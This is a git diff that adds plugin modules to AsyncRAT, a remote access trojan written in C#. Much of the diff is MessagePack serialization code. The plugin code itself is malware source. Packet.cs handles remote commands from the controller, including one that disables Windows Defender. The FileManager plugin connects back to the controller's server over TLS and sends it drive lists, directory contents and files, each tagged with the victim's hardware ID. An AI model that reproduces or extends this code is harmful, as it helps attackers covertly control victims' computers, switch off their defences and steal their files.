|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs new file mode 100644 index 0000000..e2896cf --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs @@ -0,0 +1,68 @@ +using Plugin.Handler; +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Plugin +{ + public static class Packet + { + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "visitURL": + { + string url = unpack_msgpack.ForcePathObject("URL").AsString; + if (url.StartsWith("http")) + { + Process.Start(url); + } + Connection.Disconnected(); + break; + } + + case "sendMessage": + { + MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString); + Connection.Disconnected(); + break; + } + + case "disableDefedner": + { + new HandleDisableDefender().Run(); + Connection.Disconnected(); + break; + } + + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs new file mode 100644 index 0000000..0a440aa --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs @@ -0,0 +1,34 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..474cca6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("424b81be-2fac-419f-b4bc-00ccbe38491f")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager.sln b/AsyncRAT-C#/Plugin/FileManager/FileManager.sln new file mode 100644 index 0000000..e3c9ff9 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileManager", "FileManager\FileManager.csproj", "{BEE88186-769A-452C-9DD9-D0E0815D92BF}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {4FD410CC-1F1D-4948-A108-13285D633CDD} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs new file mode 100644 index 0000000..c9e93f3 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs @@ -0,0 +1,217 @@ +using Plugin.Handler; +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Hwid").AsString = Hwid; + msgpack.ForcePathObject("Command").AsString = "setClient"; + Send(msgpack.Encode2Bytes()); + new FileManager(new MsgPack()).GetDrivers(); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj b/AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj new file mode 100644 index 0000000..63ff41f --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj @@ -0,0 +1,58 @@ + + + + + Debug + AnyCPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF} + Library + Properties + Plugin + FileManager + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs similarity index 94% rename from AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs rename to AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs index 4476f9b..9d40f57 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs @@ -1,6 +1,4 @@ -using Client.MessagePack; -using Client.Connection; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; @@ -13,8 +11,9 @@ using System.Security.Authentication; using System.Net.Security; using System.Security.Cryptography.X509Certificates; using System.Threading; +using Plugin.MessagePack; -namespace Client.Handle_Packet +namespace Plugin.Handler { public class FileManager { @@ -147,6 +146,7 @@ namespace Client.Handle_Packet DriveInfo[] allDrives = DriveInfo.GetDrives(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "getDrivers"; StringBuilder sbDriver = new StringBuilder(); foreach (DriveInfo d in allDrives) @@ -156,7 +156,7 @@ namespace Client.Handle_Packet sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>"); } msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } } catch { } @@ -169,6 +169,7 @@ namespace Client.Handle_Packet Debug.WriteLine($"Getting [{path}]"); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "getPath"; StringBuilder sbFolder = new StringBuilder(); StringBuilder sbFile = new StringBuilder(); @@ -192,7 +193,7 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); msgpack.ForcePathObject("File").AsString = sbFile.ToString(); msgpack.ForcePathObject("CurrentPath").AsString = path.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { @@ -232,6 +233,7 @@ namespace Client.Handle_Packet { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "socketDownload"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "pre"; msgpack.ForcePathObject("DWID").AsString = dwid; msgpack.ForcePathObject("File").AsString = file; @@ -241,6 +243,7 @@ namespace Client.Handle_Packet MsgPack msgpack2 = new MsgPack(); msgpack2.ForcePathObject("Packet").AsString = "socketDownload"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack2.ForcePathObject("Command").AsString = "save"; msgpack2.ForcePathObject("DWID").AsString = dwid; msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); @@ -291,6 +294,7 @@ namespace Client.Handle_Packet TempSocket tempSocket = new TempSocket(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; msgpack.ForcePathObject("ID").AsString = id; tempSocket.Send(msgpack.Encode2Bytes()); @@ -302,9 +306,12 @@ namespace Client.Handle_Packet { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "error"; msgpack.ForcePathObject("Message").AsString = ex; - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } } + } + diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void 